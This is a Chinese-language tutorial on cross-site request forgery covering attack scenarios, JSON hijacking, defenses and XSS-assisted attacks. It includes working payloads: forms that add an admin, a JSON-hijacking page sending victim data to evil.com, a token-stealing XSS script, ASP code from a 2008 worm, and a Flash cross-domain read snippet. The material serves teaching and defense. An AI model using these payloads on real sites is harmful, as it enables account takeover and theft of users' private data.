邪恶的CSRF

(文章发表在乌云知识库)

0x01 什么是CSRF

CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

 

从前面这个名字里我们可以关注到两个点:一个是“跨站点”,另一个是“伪造”。前者说明了CSRF攻击发生时所伴随的请求的来源,后者说明了该请求的产生方式。所谓伪造即该请求并不是用户本身的意愿,而是由攻击者构造,由受害者被动发出的。

 

CSRF的攻击过程大致如图:

csrf1

0x02 CSRF攻击存在的道理

一种攻击方式之所以能够存在,必然是因为它能够达到某种特定的目的。比如:通过程序中的缓冲区溢出漏洞,我们可以尝试控制程序的流程,使其执行任意代码;通过网站上的SQL注入漏洞,我们可以读取数据库中的敏感信息,进而获取Webshell甚至获取服务器的控制权等等。而CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求,那么这有什么作用呢?

 

显然,这种攻击的威力和受害者的身份有着密切的联系。说到这儿我们可以思考一下,攻击者之所以要伪造请求由受害者发出,不正是想利用受害者的身份去达到一些目的吗?换句话说,受害者身上有达到这个目的所必需的条件,而这些必需的条件在Web应用中便是各种各样的认证信息,攻击者就是利用这些认证信息来实现其各种各样的目的。

 

下面我们先看几个攻击场景。

 

0x03 场景举例

(1)场景一:

 

在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求:

 

GET /talk.php?msg=hello HTTP/1.1

Host: www.bbs.com

Cookie: PHPSESSID=ee2cb583e0b94bad4782ea

(空一行)

 

这是用户发言内容为“hello”时发出的请求,当然,用户在请求的同时带上了该域下的cookie,于是攻击者构造了下面的csrf.html页面:

 

<html>

<img src=http://www.bbs.com/talk.php?msg=goodbye />

</html>

 

可以看到,攻击者在自己的页面中构造了一个发言的GET请求,然后把这个页面放在自己的服务器上,链接为http://www.evil.com/csrf.html。之后攻击者通过某种方式诱骗受害者访问该链接,如果受害者此时处于登录状态,就会带上bbs.com域下含有自己认证信息的cookie访问http://www.bbs.com/talk.php?msg=goodbye,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。

 

有人说这有什么大不了的,好,我们再看看另一个场景下的CSRF攻击。

 

(2)场景二:

 

在一个CMS系统的后台,发出下面的POST请求可以执行添加管理员的操作:

 

POST /manage.php?act=add HTTP/1.1

Host: www.cms.com

Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;

is_admin=234mn9guqgpi3434f9r3msd8dkekwel

(空一行)

uname=test&pword=test

 

在这里,攻击者构造了的csrf2.html页面如下:

 

<html>

<form action=”/manage.php?act=add” method=”post”>

<input type=”text” name=”uname” value=”evil” />

<input type=”password” name=”pword” value=”123456” />

</form>

<script>

document.forms[0].submit();

</script>

</html>

 

该页面的链接为http://www.evil.com/csrf2.html,攻击者诱骗已经登录后台的网站管理员访问该链接(比如通过给管理员留言等方式)会发生什么呢?当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。

 

通过这些场景我们可以看到,CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言,大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点,都是在受害者的身份得到认证以后发生的。另外,我们在第一个场景中攻击时并没有使用JavaScrpit,这说明CSRF攻击并不依赖于JavaScript。

 

0x04 CSRF攻击方式

(1)HTML CSRF攻击:

 

即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:

 

<link href=”…”>

<img src=”…”>

<iframe src=”…”>

<meta http-equiv=”refresh” content=”0; url=…”>

<script src=”…”>

<video src=”…”>

<audio src=”…”>

<a href=”…”>

<table background=”…”>

 

若要构造POST请求,则必须用表单提交的方式。另外,这些标签也可以用JavaScript动态生成,如:

 

<script>

new Image().src = ‘http://www.goal.com/…’;

</script>

 

(2)JSON HiJacking攻击:

 

为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。

 

先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。

 

JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:

 

前端html代码:

 

<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />

<script type=”text/javascript”>

function jsonpCallback(result) {

alert(result.a);

alert(result.b);

alert(result.c);

for(var i in result) {

alert(i+”:”+result[i]);//循环输出a:1,b:2,etc.

}

}

</script>

<script type=”text/javascript” src=”http://crossdomain.com/services.php?callback=jsonpCallback”></script>

 

后端的php代码:

 

<?php

 

//服务端返回JSON数据

$arr=array(‘a’=>1,’b’=>2,’c’=>3,’d’=>4,’e’=>5);

$result=json_encode($arr);

//echo $_GET[‘callback’].'(“Hello,World!”)’;

//echo $_GET[‘callback’].”($result)”;

//动态执行回调函数

$callback=$_GET[‘callback’];

echo $callback.”($result)”;

?>

 

可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

 

一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

 

明白了JSONP的调用过程之后,我们可以想象这样的场景:

 

当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。

 

就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:

 

<html>

<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />

<script type=”text/javascript”>

function hijack(result) {

var data = ‘’;

for(var i in result) {

data += i + “:” + result[i];

}

new Image().src = http://www.evil.com/JSONHiJacking.php?data= + escape(data); //把数据发送到攻击者服务器上

}

</script>

<script type=”text/javascript” src=”http://crossdomain.com/services.php?callback=hijack”></script>

</html>

 

可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

 

我们用以下几张图来总结一下JSON HiJacking的攻击过程:

csrf2

csrf3

csrf4csrf5

(图片来源:

http://haacked.com/archive/2009/06/25/json-hijacking.aspx/

 

0x05 CSRF的危害

前面说了CSRF的基本概念,列举了几个CSRF的攻击场景,讲述了几种CSRF的攻击方法,现在我们来简单总结一下CSRF攻击可能造成的危害。

 

CSRF能做的事情大概如下:

 

1)篡改目标网站上的用户数据;

2)盗取用户隐私数据;

3)作为其他攻击向量的辅助攻击手法;

4)传播CSRF蠕虫。

 

其中前两点我们在之前的例子中已经做了比较详细的说明,不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击,接下来我们以实际的漏洞例子来说明CSRF的第三个危害。

 

另外,CSRF蠕虫就是利用之前讲述的各种攻击方法,并且在攻击代码里添加了形成蠕虫传播条件的攻击向量,这一点会在本文的最后介绍。

 

0x06 基于CSRF攻击实例

我们来看一下phpok的两个CSRF漏洞如何进行最大化的利用。这两个漏洞均来自乌云:

http://www.wooyun.org/bugs/wooyun-2010-091886

在此次攻击中,攻击者最后利用后台添加模板处的限制不严格拿到了Webshell,但在此之前使攻击者得以进入后台的却是CSRF漏洞,由此可以看到CSRF在这次攻击中的重要性。

http://www.wooyun.org/bugs/wooyun-2010-091875

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

0x07 CSRF的防御

前面我们了解了这么多有关CSRF攻击的东西,目的是为了明白如何防御CSRF攻击(真的是这样吗?…)。

 

要防御CSRF攻击,我们就要牢牢抓住CSRF攻击的几个特点。

 

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

 

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

 

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

 

  • 添加验证码;
  • 使用一次性token。

 

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

 

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

 

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

 

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

 

总结一下上面的防御方法如下:

 

  • 验证Referer;
  • 使用验证码;
  • 使用CSRF token;
  • 限制Session生命周期。

 

其中第四种属于缓解类方法,就不多说了。我们看一下其他三种方法都分别存在什么弊病。

 

Referer最大弊病:有些请求不带Referer;

验证码最大弊病:影响用户体验;

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

 

那么有没有其它的办法能够有效地防御CSRF攻击呢?xeye团队的monyer提出了下面这样的方法:

 

原理与token差不多:当表单提交时,用JavaScript在本域添加一个临时的Cookie字段,并将过期时间设为1秒之后在提交,服务端校验有这个字段即放行,没有则认为是CSRF攻击。

 

前面提到,token之所以可以防御CSRF,是因为攻击者无法使用JavaScript获取外域页面中的token值,必须要遵守同源策略;而临时Cookie的原理是:Cookie只能在父域和子域之间设置,也遵守同源策略,攻击者无法设置该Cookie。

 

下面看一个简单的demo,前端http://127.0.0.1:8888/test.html

 

<html>

<script>

function doit() {

var expires = new Date((new Date()).getTime()+1000);

document.cookie = “xeye=xeye; expires=” + expires.toGMTString();

}

</script>

<form action=”http://127.0.0.1:8888/test.php” name=”f” id=”f” onsubmit=”doit();” target=”if1”>

<input type=”button” value=”normal submit” onclick=”f.submit();”>

<input type=”button” value=”with token” onclick=”doit();f.submit();”>

<input type=”submit” value=”hook submit”>

</form>

<iframe src=”about:blank” name=”if1” id=”if1”></iframe>

</html>

 

服务端http://127.0.0.1:8888/test.php :

 

<?php

echo “<div>Cookies</div>”;

var_dump($_COOKIE);

?>

 

前端test.html页面中有三个按钮:第一个是正常的表单提交;第二个是添加临时Cookie后提交表单;第三个是以hook submit事件来添加临时Cookie并提交。

 

我们来演示一下效果,test.html页面如图:

csrf6

normal submit之后:

csrf7

看到只有xampp设置的一个Cookie,试一下with token按钮:

csrf8

看到我们提交的Cookie中多出了一个名为“xeye”的Cookie,再试一下hook submit:

csrf9

效果和第二个相同。

 

通过上面的演示,我们可以看到设置临时Cookie的效果。

 

不过这种方式只适用于单域名的站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的(通过设置当前域为父域的方式),所以这种方法的缺点也比较明显:这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交(注意:使用token可能也会有这样的问题,马上说到)。但如果对于单域站点而言,这种防御方法的安全性可能会略大于token。

 

对于这种防御方式的几个小疑问:

 

  • 网络不流畅,有延迟会不会导致Cookie失效?这个显然是不会的,因为服务端Cookie是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成整个表单提交过程。
  • Cookie的生成依赖于JavaScript,相当于这个token是明文的?这是肯定的,不管采用多少种加密,只要在客户端,就会被破解,不过不管怎样,CSRF无法在有用户状态的情况下添加这个临时Cookie字段(同源策略)。虽然通过服务端可以,但是无法将当前用户的状态也带过去(即攻击者尝试在自己的中转服务器上添加临时Cookie,但是这种做法背离CSRF攻击的目的了,因为受害者的Cookie(认证信息)不会发到攻击者的中转服务器上啊…顺便说一句,Referer也是同样的道理)。
  • 如果由于某种网络问题无法获取Cookie呢?那么保存用户状态的Cookie当然也无法获取了,用户只能再重新提交表单才可以,这就与CSRF无关了。

 

由于这种防御策略还没有被大规模使用,所以无法确定其是否真实有效。不过如果有效的话,这大概是一种最简单的、对代码改动最小,且对服务器压力也最小的防御CSRF的方法。

 

在攻击方法中我们详细讲解了JSON HiJacking,那么针对这种特定的CSRF攻击方法,我们有没有什么特定的防御方法呢?

 

当然有了,这里介绍两种:

 

1)在返回的脚本开始部分加入“while(1);”:

 

当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理。

 

这样做相比较与其他方式CSRF的方法有一个突出的好处,即不依赖浏览器的边界安全策略,而是在代码级别引入保护机制。

 

Google的部分服务就采取了这种防御方法,具体内容可以参考下面的链接:

 

http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

 

  • 使用POST表单提交的方式获取JSON数据:

 

当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。

 

纵观这些CSRF的防御方法,无一不是针对CSRF攻击成立的条件进行破坏,这也是“未知攻,焉知防”道理的体现。我们在对自己的网站进行防御的时候,要根据自己的业务场景,选择一个最合适的防御方案。

 

0x08 结合XSS的CSRF攻击

前面我们说到了基于CSRF的攻击,讲的是在一整套攻击中使用CSRF来达到最终目的或某个中间目的。而这里我们要说的是:如何利用CSRF的“黄金搭档”——XSS来辅助我们完成一次CSRF攻击。

 

为什么说XSS是CSRF的“黄金搭档”呢?因为当XSS存在时,我们往往可以利用它来突破目标站点对CSRF攻击的防护;还有一些情况,比如我们可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的话,就不仅仅能跨自己了。我们标题里说的“结合”就是指这两种方式。

 

下面我们举例说明:

 

  • 利用XSS窃取token之后发起CSRF攻击

 

以前面0x06中的第一个例子为例,我们的目标是进入后台。

 

假如添加管理员的POST请求如下(加入了token):

 

POST /phpok/admin.php?c=admin&f=save HTTP/1.1

Host: www.goal.com

Cookie: …

(空一行)

id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…

 

那么我们就不能直接构造出攻击页面了,因为token的值我们无法预测,一般情况下我们也无法得到token的值,但我们假设,在给管理员留言的地方存在XSS漏洞,但是管理员的Cookie加了HttpOnly属性,我们无法通过XSS直接获取管理员的Cookie,那该怎么办呢?我们可以把这两个漏洞结合起来利用。

 

我们可以利用XSS在管理员的浏览器中执行下面的JavaScript代码:

 

<script>

var frameObj = document.createElement(“iframe”);

frameObj.setAttribute(“id”, “add”);

document.body.appendChild(frameObj);

document.getElementById(“add”).src=” admin.php?c=admin&f=save”;

var token = document.getElementById(“add”).contentWindow.document.getElementById(“token”).value; //从iframe中的页面中获取token值

 

var xmlhttp;

if (window.XMLHttpRequest)

{// code for IE7+, Firefox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest();

}

else

{// code for IE6, IE5

xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

}

xmlhttp.open(“POST”,”admin.php?c=admin&f=save”,true);

xmlhttp.send(“id=&accont=wooyun&pass=123456&status=1&if_system=1&token=” + token); //带上token提交添加管理员的请求

</script>

 

代码很好理解,首先我们通过iframe的方式嵌入含有token的页面,因为同域,所以我们可以对页面中的DOM进行读写操作,所以顺利取得token;然后我们利用AJAX的方式带上token提交添加管理员的请求,我们依靠XSS成功突破了页面对CSRF攻击的防护。

 

  • 结合CSRF发起XSS攻击

http://www.wooyun.org/bugs/wooyun-2010-033537

由此可以看到,如果能够将XSS攻击和CSRF攻击结合起来,会产生1+1>2的效果。

0x09 CSRF蠕虫

说说蠕虫。

 

蠕虫有两大特征:

 

  • 传播性;
  • 恶意行为。

 

蠕虫的恶意行为是由其传播性引起的,也就是说,凡是传播可以做的事,蠕虫基本上都可以做,而且还可以做些和特定蠕虫有关的事,比如我们要说的CSRF蠕虫就可以大批量地获取用户的隐私信息(CSRF的危害之一嘛)。

 

所以,我们主要研究CSRF蠕虫的传播性。

 

CSRF蠕虫的传播性如何实现呢?在前面我们提到过,CSRF蠕虫就是在CSRF的攻击页面中加入了蠕虫传播的攻击向量。这听上去感觉很容易,但实施起来恐怕还要多考虑一些东西。

 

仔细想想,在一个SNS网站上传播CSRF蠕虫有一个不得不考虑的问题:蠕虫面对的是不同的用户,而不仅仅是某一个受害者。那对于不同的用户,其对应的请求(CSRF核心:伪造的请求嘛)会不会有些地方不一样呢?

 

没错,在之前的CSRF攻击中,我们的攻击目标是某一个特定的个体。当我们可以预测其请求的所有参数之后,我们就可以发起攻击。但是在SNS网站上传播CSRF蠕虫就不是这么简单。即使每个用户的所有请求参数都可以预测,但是对于不同的用户,其对应的请求参数是不一样的,我们无法像前面的攻击那样构造攻击页面,必须想办法获取这些标识不同用户的数据。

 

方法一:利用服务端脚本获取

 

在这里,我们构造的攻击页面不是一个简单的.html文件了,而是一个服务端脚本,如php、asp等等。

 

受害者的标识信息,如用户id等,经常出现在url中,这样我们就可以利用服务端脚本来获取请求的Referer中的用户id,以此为基础构造出html+js的攻击页面,在攻击向量中添加我们服务端脚本的链接,以此造成蠕虫传播的效果。

 

方法二:利用JSON HiJacking技术获取

 

JSON HiJacking的攻击方法前面已经讲得很详细了,如果网站上提供了这样的获取数据的接口,那么利用这种技术获取用户的隐私信息是一个不错的方法。

 

综上所述,如果一个SNS网站上存在CSRF漏洞,并且我们有办法获取到用户的标识信息,那么就满足了CSRF蠕虫传播的条件,这个网站就是可蠕虫的。

 

下面看一个CSRF蠕虫实例:

 

这是2008年发起的一次针对译言网(www.yeeyan.org)的CSRF蠕虫攻击,攻击者的链接为http://www.evilsite.com/yeeyan.asp ,服务端脚本yeeyan.asp内容如下:

 

<%

‘auther: Xlaile

‘data: 2008-09-21

‘this is the CSRF Worm of www.yeeyan.com

r = Request.ServerVariables(“HTTP_REFERER”)

‘获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving

 

if instr(r, “http://www.yeeyan.com/space/show”) > 0 Then

‘referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址

 

Function regx(patrn, str)

Dim regEx, Match, Matches

Set regEx = New RegExp

regEx.Pattern = patrn

regEx.IgnoreCace = True

regEx.Global = True

Set Matches = regEx.Execute(str)

For Each Match in Matches

RetStr = RetStr & Match.Value & ” | ”

Next

regx = RetStr

End Function

 

Function bytes2BSTR(vIn)

dim strReturn

dim i1,ThisCharCode,NextCharCode

strReturn = “”

For i1 = 1 To LenB(vIn)

ThisCharCode = AscB(MidB(vIn,i1,1))

If ThisCharCode <&H80 Then

strReturn = strReturn & Chr(ThisCharCode)

Else

NextCharCode = AscB(MidB(vIn,i1+1,1))

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

i1 = i1 + 1

End If

Next

bytes2BSTR = strReturn

End

 

id = Mid(r,34) ‘获取用户标识ID,如:hving

furl = “http://www.yeeyan.com/space/friends/” + id ‘用户好友列表链接是这样的

Set http=Server.CreateObject(“Microsoft.XMLHTTP”) ‘使用这个控件

http.Open “GET”,furl,False ‘同步,GET请求furl链接

http.Send ‘发送请求

ftext = http.ResponseText ‘返回请求结果,为furl链接对应的HTML内容

fstr = regx(“show/(\d+)?””>[^1-9a-zA-Z]+<img”,ftext)

‘正则获取被攻击用户的所有好友的ID值,CSRF留言时需要这个值

farray = Split(fstr , ” | “)

‘下面几句就是对获取到的ID值进行简单处理,然后扔进f(999)数组中

Dim f(999)

For i = 0 To ubound(farry) – 1

f(i) = Mid(farray(i),6,Len(farray(i))-16)

Next

Set http=Nothing

 

s = “”

For i = 0 To ubound(farray) – 1

s = s + “<iframe width=0 height=0 src=’yeeyan_iframe.asp?id=” & f(i) & “‘></iframe>” ‘接着循环遍历好友列表,使用iframe发起CSRF攻击

Next

Response.write(s)

 

‘   Set http=Server.CreateObject(“Microsoft.XMLHTTP”)

‘   http.open “POST”,”http://www.yeeyan.com/groups/newTopic/”,False

‘   c = “hello”

cc = “data[Post][content]=” & c & “&” & “ymsgee=” & f(0) & “&” & “ymsgee_username=” & f(0)

‘   http.send cc

 

End If

%>

 

其中yeeyan_iframe.asp代码如下:

 

<%

‘author: Xlaile

‘date: 2008-09-21

‘this is the CSRF Worm of www.yeeyan.com

‘id = Request(“id”)

s = “<form method=’post’ action=’http://www.yeeyan.com/groups/newTopic/’ onsubmit=’return false’>”

s = s+”<input type=’hidden’ value=’The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp’ name=’data[Post][content]’/>

s = s+”<input type=’hidden’ value=” + id + ” name=’ymsgee’/>”

s = s+”<input type=’hidden’ value=” + id + ” name=’ymsgee_username’/>

s = s+”</form>”

s = s+”<script>document.forms[0].submit();</script>”

Response.write(s)

%>

 

这段代码只具备传播性,属于没有恶意的实验代码。从yeeyan.asp的代码中我们可以看到,攻击者就是依靠Referer字段得到了译言用户的id值。而yeeyan_iframe.asp是构造表单的代码,用来具体发起CSRF攻击。当用户登录译言网,并且点击攻击者的链接后,这个CSRF蠕虫就会开始传播。

 

0x0a 还有什么东西?

写到这里,我所了解的有关CSRF攻击与防御的内容就差不多写完了。在写前面内容的时候,我一直在有意回避一个东西,那就是在现在的Web前端仍然占有重要地位的Flash,以及ActionScript脚本。

 

这里就简单补充一下,这些东西和CSRF攻击有什么联系。

 

首先,我们必须先介绍一个文件——crossdomain.xml,此文件通常在网站的根目录下存在,比如http://www.qq.com 网站上的crossdomain.xml文件内容如下:

csrf10

https://www.baidu.com 网站上的crossdomain.xml文件内容如下:

csrf11

该配置文件中的“allow-access-from domain”用来配置哪些域的Flash请求可以访问本域的资源。如果该项值为“*”,则表示任何域的Flash都可以访问,这是非常危险的。当存在这样的配置时,攻击者可以利用ActionScript脚本轻松突破同源策略的限制,如下:

 

import flash.net.*

//请求隐私数据所在页面

var loader = new URLLoader(new URLRequest(http://www.foo.com/private));

loader.addEventListener(Event.COMPLETE,function(){ //当请求完成后

loader.data; //获取到隐私数据

//更多操作

});

Loader.load(); //发起请求

 

当通过身份认证的受害者被诱惑访问含有以上脚本的页面时,其隐私将可能被攻击者盗走。

 

除此之外,这种跨域获取信息的方法还可以应用在CSRF蠕虫之中,同样是在2008年,饭否(www.fanfou.com)就被基于Flash的CSRF蠕虫攻击,当时包含饭否CSRF蠕虫的Flash游戏界面如下:

csrf12

结束:

由于水平有限,本文写到这里就差不多结束了,里面是我对CSRF几乎所有的认知,包括基本概念、攻击原理、攻击目的、攻击手段以及防御方法等等。需要特别说明的是,文中有许多内容来自《Web前端黑客技术揭密》这本书。